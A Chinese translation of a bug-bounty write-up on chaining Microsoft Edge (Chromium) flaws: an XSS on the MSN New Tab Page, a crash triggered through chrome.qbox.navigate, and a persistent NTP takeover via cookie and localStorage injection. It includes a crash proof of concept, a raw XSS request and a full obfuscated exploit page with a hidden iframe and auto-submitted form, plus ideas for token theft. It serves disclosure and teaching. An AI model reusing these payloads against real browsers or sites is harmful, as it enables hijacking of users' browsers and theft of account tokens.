-
-
[翻译]微软Edge浏览器(Chromium)——从XSS到接管NTP页面的漏洞分析
-
发表于: 2020-1-21 18:13 7113
-
微软已宣布他们将发布一款基于Chromium的Edge浏览器。Chromium(假如你不了解)是谷歌开发的一个开源浏览器,Google Chrome浏览器就是基于Chromium的,很快Microsoft Edge也将基于Chromium。
2019年8月20日,微软宣布了一项针对Chromium Edge浏览器的漏洞赏金项目。规则是只有在微软的代码中发现的漏洞才有资格得到赏金。这意味着攻击面非常小,为了弥补这一点,微软提供了两倍的奖金(与EdgeHTML的赏金相比)。这意味着该新浏览器的一个有效漏洞可能价值3万美金。
本文中,我将解释自己是如何通过发现该浏览器3个不同的bug,最终获得4万美元。我还惊喜的发现,是我报告了该项目的第一个有效漏洞。
新标签页(NTP)XSS
新标签页(NTP,New Tab Page)是打开浏览器或打开新标签时看到的第一个页面。当然有很多例外,我说的是默认设置下,Edge浏览器的NTP页面的独特之处在于它是一个在线网站,地址为:'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing'。
火狐浏览器的内置页为'about:home'/'about:newtab'。Chrome浏览器为'chrome-search://local-ntp/local-ntp.html'。这些都很重要,因为我们需要找到微软对Chromium做的新改动,这样才能拿到奖金。
这个bug的发现完全是个意外。当我第一次打开新Edge浏览器时根本没有多注意NTP,而是直接研究那些与Chromium相比更独特的功能,其中一个叫Collections。虽然当时它看起来已超出赏金范围,而且只能通过标志启用,但我仍然想尝试通过它找到突破口。
Collections就像一个更强大、功能更丰富的书签,当你把一个网址添加到Collections时,它会获取标题、描述和一张图片,拼在一起并展示为一张Twitter card。测试了下,如果我保存一个标题有HTML标签的网页,Collections栏是否会渲染标题中的HTML代码呢,答案是没有。
过了一会儿我就上床睡觉了,第二天早上当我打开新Edge浏览器时,迎接我的是以下新标签页:你看到那个吗?那个小小的、黑体的字母“a”。
因为这是一个新浏览器,我访问的所有网页基本上都会作为“顶部推荐”展示在新标签页中,没有经过安全过滤。没有东西阻止我执行Javascript代码,所以一个简单的XSS攻击实现了。这是攻击的视频:https://leucosite.com/Edge-Chromium-EoP-RCE/NTP-TOPSITE-XSS.mp4
你也许会疑问为什么这个漏洞很重要。NTP上的XSS漏洞有什么用?NTP其实是一个高权限页面。我们在基于Chromium的浏览器上就是通过查看chrome的javascript对象来进行测试的。
这是chrome对象的对比图,一个是普通网页的,一个是Edge设置页面的。
很明显,对象中的'edge://settings/profiles'包含了更多函数,其他函数也是我们感兴趣的高权限函数,当我们通过正常的、非特权的网页得到时就可以利用这些信息。
目前为止,我们已将Javascript代码注入到高权限的内容中,实现了非法提权(EoP)。现在看看在这种高权限的环境下,我们能做些什么。
从非法越权(EoP)到潜在RCE
幸运女神再一次眷顾了我。还记得从chrome对象中获取的高权限函数,我开始研究怎样能通过这些函数,进一步利用非法提权漏洞。
我在‘chrome.qbox’中找到一个没有记录的对象,找不到任何相关的网页介绍。我推断这一定是一个微软独有的对象,但它到底是什么呢?一起看这个视频: https://leucosite.com/Edge-Chromium-EoP-RCE/qbox.mp4我在’chrome.qbox.navigate’中找到一个奇特的函数,通过报错信息,发现一个类型为qbox.NavigationItem的对象。通过几轮分析,我发现可以将一个JSON对象传递给这个函数,这个JSON对象至少包含一个’url’和’id’就不会报错。
chrome.qbox.navigate({id:0,url:""})
这很好,但没什么用。我希望能弹出一些窗口或其他任何东西,但是并没有。所以我尝试对’url’和’id’的值做了遍历,直到最后执行了以下参数:
chrome.qbox.navigate({id:999999,url:null})
(69a4.723c): Access violation - code c0000005 (first/second chance not available) ntdll!NtDelayExecution+0x14: 00007ffd`9fddc754 c3 ret
rax=000001ff5651ba80 rbx=000001ff5651ba80 rcx=000001ff5651ba80 rdx=3265727574786574 rsi=000001ff5651ba80 rdi=0000009eb9bfd4f0 rip=00007ffd17814b40 rsp=0000009eb9bfd300 rbp=000001ff4fec30a0 r8=000000000000008f r9=0000000000000040 r10=0000000000000080 r11=0000009eb9bfd290 r12=000000000000006f r13=0000009eb9bfda90 r14=0000009eb9bfd478 r15=00000094b5d14064 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 msedge!ChromeMain+0x9253e: 00007ffd`17814b40 488b02 mov rax,qword ptr [rdx] ds:32657275`74786574=???????????????? Resetting default scope FAULTING_IP: msedge!ChromeMain+9253e 00007ffd`17814b40 488b02 mov rax,qword ptr [rdx] EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 00007ffd17814b40 (msedge!ChromeMain+0x000000000009253e) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: ffffffffffffffff Attempt to read from address ffffffffffffffff DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: msedge.exe
这貌似是一个可利用的崩溃,我不擅长内存漏洞,所以不得不重新阅读与崩溃漏洞利用相关的MDN文件。慢慢的我确认自己发现了漏洞,通过反复研究'qbox.navigate'函数并造成不同表现的崩溃,我确定Web页面上有一个可利用的崩溃(RCE)!下面是POC:
<html> <head> <title>test<iframe/src=1/ onload=chrome.qbox.navigate(JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")))></title> <body> q </body> </html>
接管NTP
之前的两个bug都依赖'ntp.msn.com'网址的XSS漏洞来渲染HTML代码。那为什么不将'ntp.msn.com'网址做为渗透测试的对象呢。我只需要一个XSS漏洞,就可以通过越权获得一个浏览器漏洞。
访问'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'时我注意到,它看起来像一个正常的NTP,只是加载不完全,这是很重要的点。正常NTP页面'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing'加载时会使用某种缓存机制,只是两者的源代码不一样。
我用Burpsuite试着在'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'上寻找漏洞,最后发现当我设置一个命名为'domainId'的cookie时,它会显示在不正常NTP页面的script标签中。因为没有经过安全过滤,我可以通过cookie的值注入代码。
利用cookie进行渗透的好处是,可以将一个给定域名下的所有子域名设置为共享cookie,我只需要在任意MSN子域名中找到一个XSS漏洞并设置cookie,不正常NTP页面就会执行JS代码。通过一番侦察和搜索,我在'http://technology.za.msn.com'中找到了这个XSS漏洞,这个页面现在已被删除,因为它看起来就像一个被遗忘的子域名,使用了非常老旧的技术。我很快发现,通过发送一个特殊POST请求,网站会生成一个错误信息,造成错误的变量值没有经过安全过滤,会反馈出来。
通过以下HTTP请求触发该XSS漏洞:
POST /pebble.asp?relid=172 HTTP/1.1 Host: technology.za.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 20 Origin: http://technology.za.msn.com Connection: close Referer: http://technology.za.msn.com/pebble.asp?relid=172 Cookie: PublisherUserProfile=userprofileid=322220CC%2D9964%2D47F9%2DAE30%2D2222258E99A4; PublisherSession=uid=DIN2DWDWDFWWW7L3OHA5N6; ASPSESSIONIDSCCQSRDS=EOJQQDDFGGGEEPCPNFOBL; _ga=GA1.q.21062224016.4569609491; _gid=GA1.q.1840897607.1569609491; _gat=1; __utma=2qq77qq6.21qqqq4016.156qqqq9491.156960qqq.qqqqqq91.1; __utmb=201977236.1.10.1569609491; __utmc=201977236; __utmz=201977236.1569609491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __gads=ID=qqqq5dd817qqqb4:T=1562229492:S=ALNI_MZUnsEhqqqqjxzklxqqqqqJHo1A Upgrade-Insecure-Requests: 1 startnum=90'<b>xss</b>
唯一的缺点是服务器需要42秒才能响应错误。服务器响应后,会看到'<b>xss</b>'渲染在页面中。用一个通用的XSS向量替换它就会执行JS代码。由于没有'X-FRAME-OPTIONS'头部,我可以利用'IFRAME'在我自己的网站上嵌入这个页面,执行POST请求并触发隐藏的“IFRAME”上的XSS漏洞,让潜在的受害者对任何可疑的东西一无所知。
好了,渗透的过程更加清楚了,但是正如我之前提到的,这是XSS到不正常NTP页面的方法,对默认/正常的NTP网页没有用。我发现正常NTP使用'localStorage'进行缓存,这不是大问题,因为正常NTP和不正常NTP是同源的。我访问到localStorage并添加JS代码到缓存HTML中,现在我可以接管NTP了。
你也许会疑问接管NTP有什么危险,崩溃现在已被修复。正如我之前提到的,NTP是一个高权限页面,可以通过它访问一些有趣的函数,做很多有趣的事情。以下是我想到的一个恶意NTP可以做的事:
1.要求Edge用户用微软账户登陆,NTP页面是最完美的地方,因为用户都信任它。
2.访问'chrome.authPrivate.acquireAccessTokenSilently',可能会泄露用户令牌实现身份伪造。
3.利用'chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})'泄露用户私密信息,包括邮箱和银行卡号。
4.利用'chrome.embeddedSearch.searchBox.paste("file:///C://")'诱骗用户访问本地文件(需要诱骗用户按回车键)。
5.利用'chrome.embeddedSearch.newTabPage.updateCustomLink(i,"http://www.g.com","http://www.g.com")'编辑位于NTP中的顶端站点。通过将i从0到9999循环保证编辑全部站点。
6.利用'chrome.ntpSettingsPrivate.setPref'改变所有或任意NTP的用户设置项。
7.持续跟踪和伪造MSN内容。考虑到这个bug可以持续接管NTP,可以在用户打开NTP或访问顶端站点时,利用该漏洞追踪用户行为,可以像其他恶意插件那样注入虚假广告。
好吧,可能其中有些有点夸张,但你能明白,一个恶意NTP是很危险的。让我们总结下整个攻击过程:
1.潜在的受害者访问我们的恶意网站。
2.恶意网站通过一个POST请求,对隐藏'IFRAME'中的'technology.za.msn.com'发送XSS载荷。
3.'IFRAME'在大约42秒后加载,'technology.za.msn.com'触发XSS漏洞。
4.'technology.za.msn.com'中的XSS漏洞创建一个名为'domainId'的cookie并重定向到'domain=.msn.com',其中包含我们的第二个有效载荷。
5.当隐藏'IFRAME'触发'onload'操作,受害者被重定向到一个非正常NTP页面'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'。
6.一旦'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'被加载,名为'domainId'的cookie中的XSS载荷会被渲染。
7.XSS载荷访问'localStorage',在HTML代码的开头插入我们最终的有效载荷。
此时,NTP被接管,当用户打开一个新标签页时,最后的有效载荷将一直被触发!我通过新MSRC报告门户向微软报告了这一漏洞,根据最新的Edge赏金规则,我获得了1.5万美金最后的PoC和视频
我大量使用编码的原因,是因为名为'domainId'的cookie有字符使用限制。
<html> <head> <body> <iframe src="about:blank" id="qframe" name="msn" style="opacity:0.001"></iframe> <h1>Loading...(ETA 42secs)</h2> <form id="qform" target="msn" action="http://technology.za.msn.com/pebble.asp?relid=172" method="post"> <!-- Encoded payload (Executes in 'technology.za.msn.com') --------------------------------------------------------------------- (qd = new Date()).setMonth(qd.getMonth() + 12); document.cookie = "domainId=" + ('q"*' + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71') + '*"q') + ";expires=" + qd + ";domain=.msn.com;path=/"; --------------------------------------------------------------------- unescaped value above (Executes in broken 'ntp.msn.com'), this is all one line and im using with(){} a lot because semicolon not allowed. --------------------------------------------------------------------- function() { for (q in localStorage) { if (q.indexOf('lastKnown') > -1) { with(qntpobj = JSON.parse(localStorage[q])) { qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom } with(qab = qntpobj) { localStorage[q] = JSON.stringify(qab) } } } }() --------------------------------------------------------------------- unescaped value above (Executes in normal 'ntp.msn.com') --------------------------------------------------------------------- <SvG/OnLoAd='document.write(/@qab/.source)'> --> <input type="hidden" name="startnum" value="90'<SvG/onLoAd=eval(unescape('%28%71%64%3d%20%6e%65%77%20%44%61%74%65%28%29%29%2e%73%65%74%4d%6f%6e%74%68%28%71%64%2e%67%65%74%4d%6f%6e%74%68%28%29%20%2b%20%31%32%29%3b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3d%22%64%6f%6d%61%69%6e%49%64%3d%22%2b%28%75%6e%65%73%63%61%70%65%28%27%25%37%31%25%32%32%25%32%61%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%37%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%31%25%32%30%25%36%39%25%36%65%25%32%30%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%32%39%25%37%62%25%36%39%25%36%36%25%32%38%25%37%31%25%32%65%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%34%66%25%36%36%25%32%38%25%32%37%25%36%63%25%36%31%25%37%33%25%37%34%25%34%62%25%36%65%25%36%66%25%37%37%25%36%65%25%32%37%25%32%39%25%33%65%25%32%64%25%33%31%25%32%39%25%37%62%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%32%39%25%32%39%25%37%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%33%64%25%37%35%25%36%65%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%36%33%25%32%35%25%33%35%25%33%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%34%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%34%25%33%31%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%33%30%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%36%35%25%32%37%25%32%39%25%32%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%37%64%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%31%25%36%32%25%33%64%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%39%25%37%62%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%36%39%25%36%36%25%37%39%25%32%38%25%37%31%25%36%31%25%36%32%25%32%39%25%37%64%25%37%64%25%37%64%25%37%64%25%32%38%25%32%39%25%32%61%25%32%32%25%37%31%27%29%29%2b%22%3b%65%78%70%69%72%65%73%3d%22%2b%71%64%2b%22%3b%64%6f%6d%61%69%6e%3d%2e%6d%73%6e%2e%63%6f%6d%3b%70%61%74%68%3d%2f%22%3b'))"> </form> <script> qframe.onload=e=>{ setTimeout(function(){ location="https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz"; },1000) } qform.submit(); </script> </body> </html>
参考文献
https://twitter.com/spoofyroot/status/1171654526648094720[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)